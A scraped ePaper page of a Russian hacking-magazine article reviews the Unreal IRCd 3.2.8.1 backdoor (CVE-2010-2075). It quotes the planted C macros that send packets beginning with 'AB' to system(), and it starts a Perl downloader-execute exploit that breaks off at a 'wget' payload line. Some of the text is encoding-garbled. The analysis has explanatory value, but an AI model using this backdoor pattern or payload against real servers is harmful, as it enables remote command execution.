12.07.2015 Views

img - Xakep Online

img - Xakep Online

img - Xakep Online

SHOW MORE
SHOW LESS
  • No tags were found...

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

ВЗЛОМАлексей Синцов, Digital Security a.sintsov@dsec.ruÎÁÇÎÐ ÝÊÑÏËÎÉÒÎÂÍåñìîòðÿ íà òî, ÷òî âñå áîëüøå è áîëüøå ðàçðàáîò÷èêîâ â êóðñå ïðîáëåìèíôîðìàöèîííîé áåçîïàñíîñòè, óÿçâèìîñòè íàõîäÿòñÿ âñå ÷àùå è ÷àùå.Çàòî ýêñïëîéòû ñòàíîâÿòñÿ âñå ñëîæíåå è ñëîæíåå. Òî åñòü, åñëè ðàíüøåäîñòàòî÷íî áûëî ïðîñòî íàéòè óÿçâèìîñòü, òî òåïåðü åùå íàäî ïîíÿòü, êàêåå ðåàëèçîâàòü â âèäå ýêñïëîéòà. Âðåìåíà ìåíÿþòñÿ. Òåïåðü ýòî íå òîëüêîstate-of-art, íî òàêæå è áèçíåñ, è êðèìèíàë. Íî è òàì è òàì ïî îáå ñòîðîíûáàððèêàä åñòü òàëàíòëèâûå è óìíûå ëþäè, ðåçóëüòàò ðàáîòû êîòîðûõïðåäñòàâëåí çäåñü, íà ýòèõ ñòðàíèöàõ.01CVECVE-2010-2075TARGETS• Unreal IRCD v. 3.2.8.1BRIEFВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГОКОДА ЧЕРЕЗ БЭКДОР В UNREAL IRCDНачнем сегодняшний обзор с проблемы в известном IRC-демоне —Unreal IRCD. Да, еще не так давно IRC было для нас всех важнейшимканалом общения. В те времена еще не существовал ни Facebook, ниTwitter, и люди охотно обменивались байтами в консольном режиме. Стех пор утекло не так много воды, и поэтому IRC — по-прежнему полноценныйи популярный сервис.И тем обиднее/веселее (нужное подчеркнуть), что некие злодеи,видимо, фанаты WEB 2.0, желающие захватить мир, внедрили бэкдор(BackDoor — черный вход) в исходные коды дистрибутива Unreal IRCD.«Затрояненная» версия IRC-демона лежала на зеркальных серверахаж с ноября 2009 года по июнь нынешнего года. Надо полагать, чтоза это время множество добрых и честных людей успели установитьданное ПО. Этот факт был обнаружен создателями демона, о чем онисо множеством извинений и донесли до широкой общественности.EXPLOITШирокая общественность пожелала создать эксплойт, которыйиспользует бэкдор в Unreal IRCD, для своих корыстных целей. Даже всостав Metasploit’а добавили соответствующий модуль.Посмотрим, что же представляет собой этот бэкдор. Как оказалось,сам бэкдор — это четыре строчки в исходных кодах, первым деломбыли добавлены две строчки в модуль s_bsc.c, в функцию read_packet(). Эта функция читает и обрабатывает все входящие пакеты.Считанные данные помещаются в переменную readbuf. Сразу послетого, как данные были считаны из сокета, в дело вступают силы зла, авернее, две строчки, внедренные в эту милую функцию злоумышленниками:#ifdef DEBUGMODE3if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))DEBUG3_LOG(readbuf);#endifТут идет сравнение первых двух байт считанных данных с некимистатическими байтами, определенными за DEBUGMODE3_INFO (еслиопределен DEBUGMODE3). Если байты совпадают, то далее считанныеданные переходят в DEBUG3_LOG(). Что же это за определения? А этона самом деле макросы, добавленные в файл struct.h.#define DEBUGMODE3 ((x)->flags & FLAGS_NOFAKELAG). . .#ifdef DEBUGMODE3#define DEBUGMODE3_INFO "AB"#define DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x). . .#define DEBUG3_DOLOG_SYSTEM(x) system(x)Резюмирую увиденное: при считывании каждого входящего пакетабэкдор сравнивает первые два байта данных с последовательностью«AB». Если совпадение есть, то содержимое данных передается вызовуsystem(), то есть на исполнение в операционку.Эксплойт:#!/usr/bin/perl# Unreal3.2.8.1 Remote Downloader/Execute Trojan# DO NOT DISTRIBUTE -PRIVATE-# -iHaq (2l8)use Socket;use IO::Socket;## Payload options# Ðàçëè÷íûå «íàãðóçêè». Ïî ñóòè êîìàíäû — ýòî ëþáûå# êîìàíäû äëÿ îáîëî÷êè unix/linux, íà÷èíàþùèåñÿ ñ«AB;».# Ïåðâûå äâà áàéòà ãàðàíòèðóþò, ÷òî áýêäîð ïåðåäàñò# âñå â system(); - ÷òîáû âûïîëíèëàñü áåç ïðîáëåì# îñòàëüíàÿ ÷àñòü äàííûõ.my $payload1 = 'AB; cd /tmp; wget http://042 XÀÊÅÐ 08 /139/ 10

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!